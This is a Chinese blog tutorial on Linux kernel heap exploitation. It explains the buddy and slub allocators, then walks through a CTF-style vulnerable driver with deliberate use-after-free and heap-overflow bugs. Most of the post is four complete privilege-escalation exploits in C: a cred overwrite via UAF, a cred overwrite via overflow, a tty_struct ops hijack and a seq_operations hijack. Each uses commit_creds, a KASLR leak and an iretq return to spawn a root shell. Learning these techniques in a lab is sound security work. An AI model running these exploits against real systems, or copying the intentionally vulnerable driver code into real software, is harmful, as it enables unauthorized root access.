IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Linux kernel 堆溢出利用方法

    dingjiacan@antvsion.com发表于 2024-12-17 10:08:10
    love 0

    前言

    本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。

    概述

    Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

    page-zone-node

    budy system

    buddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:

    • 分配:

      • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。

      • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。

    • 释放:

      • 将对应的连续内存页释放到对应的链表上。

      • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。

    zone_struct

    slub allocator

    slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

    • 分配:

      • 首先从 kmem_cache_cpu 上取对象,若有则直接返回。

      • 若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。

      • 若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。

    • 释放:

      • 若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。

      • 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。

      • 若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。

    slub_allocator



    heap_bof

    题目分析

    题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27

    #include <asm/uaccess.h>
    #include <linux/cdev.h>
    #include <linux/device.h>
    #include <linux/fs.h>
    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/slab.h>
    #include <linux/types.h>

    struct class *bof_class;
    struct cdev cdev;

    int bof_major = 256;
    char *ptr[40];// 指针数组,用于存放分配的指针
    struct param {
       size_t len;       // 内容长度
       char *buf;        // 用户态缓冲区地址
       unsigned long idx;// 表示 ptr 数组的 索引
    };

    long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
       struct param p_arg;
       copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
       long retval = 0;
       switch (cmd) {
           case 9:
               copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
               printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
               break;
           case 8:
               copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
               break;
           case 7:
               kfree(ptr[p_arg.idx]);
               printk("free: 0x%p\n", ptr[p_arg.idx]);
               break;
           case 5:
               ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
               printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
               break;
           default:
               retval = -1;
               break;
       }
       return retval;
    }

    static const struct file_operations bof_fops = {
           .owner = THIS_MODULE,
           .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
    };

    static int bof_init(void) {
       //设备号
       dev_t devno = MKDEV(bof_major, 0);
       int result;
       if (bof_major)//静态分配设备号
           result = register_chrdev_region(devno, 1, "bof");
       else {//动态分配设备号
           result = alloc_chrdev_region(&devno, 0, 1, "bof");
           bof_major = MAJOR(devno);
       }
       printk("bof_major /dev/bof: %d\n", bof_major);
       if (result < 0) return result;
       bof_class = class_create(THIS_MODULE, "bof");
       device_create(bof_class, NULL, devno, NULL, "bof");
       cdev_init(&cdev, &bof_fops);
       cdev.owner = THIS_MODULE;
       cdev_add(&cdev, devno, 1);
       return 0;
    }

    static void bof_exit(void) {
       cdev_del(&cdev);
       device_destroy(bof_class, MKDEV(bof_major, 0));
       class_destroy(bof_class);
       unregister_chrdev_region(MKDEV(bof_major, 0), 1);
       printk("bof exit success\n");
    }

    MODULE_AUTHOR("exp_ttt");
    MODULE_LICENSE("GPL");
    module_init(bof_init);
    module_exit(bof_exit);

    boot.sh

    这道题是多核多线程。并且开启了smep和smap。

    #!/bin/bash

    qemu-system-x86_64 \
     -initrd rootfs.cpio \
     -kernel bzImage \
     -m 512M \
     -nographic \
     -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
     -monitor /dev/null \
     -smp cores=2,threads=2 \
     -cpu kvm64,+smep,+smap \

    kernel Use After Free

    利用思路

    cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

    exp

    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <sys/wait.h>

    #define BOF_MALLOC 5
    #define BOF_FREE 7
    #define BOF_EDIT 8
    #define BOF_READ 9

    struct param {
       size_t len;       // 内容长度
       char *buf;        // 用户态缓冲区地址
       unsigned long idx;// 表示 ptr 数组的 索引
    };

    int main() {
       int fd = open("dev/bof", O_RDWR);
       struct param p = {0xa8, malloc(0xa8), 1};
       ioctl(fd, BOF_MALLOC, &p);
       ioctl(fd, BOF_FREE, &p);
       int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
       if (pid < 0) {
           puts("[-]fork error");
           return -1;
       }
       if (pid == 0) {
           p.buf = malloc(p.len = 0x30);
           memset(p.buf, 0, p.len);
           ioctl(fd, BOF_EDIT, &p); // 修改用户ID
           if (getuid() == 0) {
               puts("[+]root success");
               system("/bin/sh");
           } else {
               puts("[-]root failed");
           }
       } else {
           wait(NULL);
       }
       close(fd);
       return 0;
    }

    但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

    // kernel version == 4.4.72
    void __init cred_init(void)
    {
       /* allocate a slab in which we can store credentials */
       cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                        0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
    }
    // kernel version == 4.5
    void __init cred_init(void)
    {
       /* allocate a slab in which we can store credentials */
       cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
               SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
    }

    heap overflow

    溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。

    利用思路

    1. 多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。

    2. 利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。

    exp

    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/wait.h>

    struct param {
       size_t len;    // 内容长度
       char *buf;     // 用户态缓冲区地址
       long long idx; // 表示 ptr 数组的 索引
    };

    const int BOF_NUM = 10;

    int main(void) {
       int bof_fd = open("/dev/bof", O_RDWR);
       if (bof_fd == -1) {
           puts("[-] Failed to open bof device.");
           exit(-1);
       }

       struct param p = {0xa8, malloc(0xa8), 0};

       // 让驱动分配 0x40 个 0xa8  的内存块
       for (int i = 0; i < 0x40; i++) {
           ioctl(bof_fd, 5, &p);  // malloc
       }
       puts("[*] clear heap done");

       // 让驱动分配 10 个 0xa8  的内存块
       for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
           ioctl(bof_fd, 5, &p);  // malloc
       }
       p.idx = 5;
       ioctl(bof_fd, 7, &p); // free

       // 调用 fork 分配一个 cred结构体
       int pid = fork();
       if (pid < 0) {
           puts("[-] fork error");
           exit(-1);
       }

       // 此时 ptr[4] 和 cred相邻
       // 溢出 修改 cred 实现提权
       p.idx = 4, p.len = 0xc0 + 0x30;
       memset(p.buf, 0, p.len);
       ioctl(bof_fd, 8, &p);
       if (!pid) {
           //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
           size_t uid = getuid();
           printf("[*] uid: %zx\n", uid);
           if (!uid) {
               puts("[+] root success");
               // 权限修改完毕,启动一个shell,就是root的shell了
               system("/bin/sh");
           } else {
               puts("[-] root fail");
           }
       } else {
           wait(0);
       }
       return 0;
    }

    tty_struct 劫持

    boot.sh

    这道题gadget较少,我们就关了smep保护。

    #!/bin/bash

    qemu-system-x86_64 \
     -initrd rootfs.img \
     -kernel bzImage \
     -m 512M \
     -nographic \
     -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
     -monitor /dev/null \
     -s \
     -cpu kvm64 \
     -smp cores=1,threads=1 \
     --nographic

    利用思路

    在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,

    ptmx_open (drivers/tty/pty.c)
    -> tty_init_dev (drivers/tty/tty_io.c)
     -> alloc_tty_struct (drivers/tty/tty_io.c)

    tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401

    // sizeof(struct tty_struct) == 0x2e0
    /* tty magic number */
    #define TTY_MAGIC        0x5401
    struct tty_struct {
       ...
       const struct tty_operations *ops;
       ...
    }
    struct tty_operations {
       ...
       int  (*ioctl)(struct tty_struct *tty,
               unsigned int cmd, unsigned long arg);
       ...
    };

    使用 tty 设备的前提是挂载了 ptmx 设备。

    mkdir /dev/pts
    mount -t devpts none /dev/pts
    chmod 777 /dev/ptmx

    所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。

    exp

    #include <sys/wait.h>
    #include <assert.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <unistd.h>

    #define BOF_MALLOC 5
    #define BOF_FREE 7
    #define BOF_EDIT 8
    #define BOF_READ 9

    void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
    size_t init_cred = 0xFFFFFFFF81E496C0;

    void get_shell()
    {
       system("/bin/sh");
    }

    unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;

    void save_status() {
       __asm__(
           "mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_rsp, rsp;"
           "pushf;"
           "pop user_rflags;"
       );
       puts("[*]status has been saved.");
    }

    size_t kernel_offset;

    void get_root() {
       // 通过栈上残留地址来绕过 KASLR
       __asm__(
           "mov rbx, [rsp + 8];"
           "mov kernel_offset, rbx;"
       );
       kernel_offset -= 0xffffffff814f604f;
       commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
       init_cred = (void *) ((size_t) init_cred + kernel_offset);
       commit_creds(init_cred);
       __asm__(
           "swapgs;"
           "push user_ss;"
           "push user_rsp;"
           "push user_rflags;"
           "push user_cs;"
           "push user_rip;"
           "iretq;"
       );
    }

    struct param {
       size_t len;    // 内容长度
       char *buf;     // 用户态缓冲区地址
       long long idx; // 表示 ptr 数组的 索引
    };

    int main(int argc, char const *argv[])
    {
       save_status();

       size_t fake_tty_ops[] = {
           0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
           get_root
       };

       // len buf idx
       struct param p = {0x2e0, malloc(0x2e0), 0};
       printf("[*]p_addr==>%p\n", &p);

       int bof_fd = open("/dev/bof", O_RDWR);

       p.len = 0x2e0;
       ioctl(bof_fd, BOF_MALLOC, &p);
       memset(p.buf, '\xff', 0x2e0);
       ioctl(bof_fd, BOF_EDIT, &p);
       ioctl(bof_fd, BOF_FREE, &p);

       int ptmx_fd = open("/dev/ptmx", O_RDWR);

       p.len = 0x20;
       ioctl(bof_fd, BOF_READ, &p);
       printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
       printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);

       *(size_t *)&p.buf[0x18] = &fake_tty_ops;
       ioctl(bof_fd, BOF_EDIT, &p);

       ioctl(ptmx_fd, 0, 0);
       

       return 0;
    }

    seq_operations 劫持

    boot.sh

    #!/bin/bash

    qemu-system-x86_64 \
     -initrd rootfs.img \
     -kernel bzImage \
     -m 512M \
     -nographic \
     -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
     -monitor /dev/null \
     -s \
     -cpu kvm64 \
     -smp cores=1,threads=1 \
     --nographic

    利用思路

    seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

    struct seq_operations {
       void * (*start) (struct seq_file *m, loff_t *pos);
       void (*stop) (struct seq_file *m, void *v);
       void * (*next) (struct seq_file *m, void *v, loff_t *pos);
       int (*show) (struct seq_file *m, void *v);
    };

    调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。

    ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
    {
       struct seq_file *m = file->private_data;
       ...
       p = m->op->start(m, &pos);
       ...

    当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

    image-20240922171025707

    exp

    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <string.h>

    struct param {
       size_t len;       // 内容长度
       char *buf;        // 用户态缓冲区地址
       long long idx;// 表示 ptr 数组的 索引
    };

    const int SEQ_NUM = 0x200;
    const int DATA_SIZE = 0x20 * 8;
    #define BOF_MALLOC 5
    #define BOF_FREE 7
    #define BOF_EDIT 8
    #define BOF_READ 9


    void get_shell() {
       system("/bin/sh");
    }

    size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

    void save_status() {
       __asm__("mov user_cs, cs;"
               "mov user_ss, ss;"
               "mov user_sp, rsp;"
               "pushf;"
               "pop user_rflags;");
       puts("[*] status has been saved.");
    }

    void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;

    void *init_cred = (void *) 0xFFFFFFFF81E496C0;

    size_t kernel_offset;

    void get_root() {
       // 通过栈上的残留值绕过KASLR。
       __asm__(
           "mov rax, [rsp + 8];"
           "mov kernel_offset, rax;"
       );
       kernel_offset -= 0xffffffff81229378;
       commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
       init_cred = (void *) ((size_t) init_cred + kernel_offset);
       commit_creds(init_cred);
       __asm__(
           "swapgs;"
           "push user_ss;"
           "push user_sp;"
           "push user_rflags;"
           "push user_cs;"
           "push user_rip;"
           "iretq;"
       );
    }

    int main() {
       save_status();

       int bof_fd = open("dev/bof", O_RDWR);
       if (bof_fd < 0) {
           puts("[-] Failed to open bof.");
           exit(-1);
       }

       struct param p = {0x20, malloc(0x20), 0};
       for (int i = 0; i < 0x40; i++) {
           ioctl(bof_fd, BOF_MALLOC, &p);
       }
       memset(p.buf, '\xff', p.len);
       ioctl(bof_fd, BOF_EDIT, &p);
       // 大量喷洒 seq_ops 结构体。
       int seq_fd[SEQ_NUM];
       for (int i = 0; i < SEQ_NUM; i++) {
           seq_fd[i] = open("/proc/self/stat", O_RDONLY);
           if (seq_fd[i] < 0) {
               puts("[-] Failed to open stat.");
           }
       }
       puts("[*] seq_operations spray finished.");
       
       // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
       p.len = DATA_SIZE;
       p.buf = malloc(DATA_SIZE);
       p.idx = 0;
       for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
           *(size_t *) &p.buf[i] = (size_t) get_root;
       }
       ioctl(bof_fd, BOF_EDIT, &p);
       puts("[*] Heap overflow finished.");

       for (int i = 0; i < SEQ_NUM; i++) {
           read(seq_fd[i], p.buf, 1);
       }

       return 0;
    }

      




沪ICP备19023445号-2号
友情链接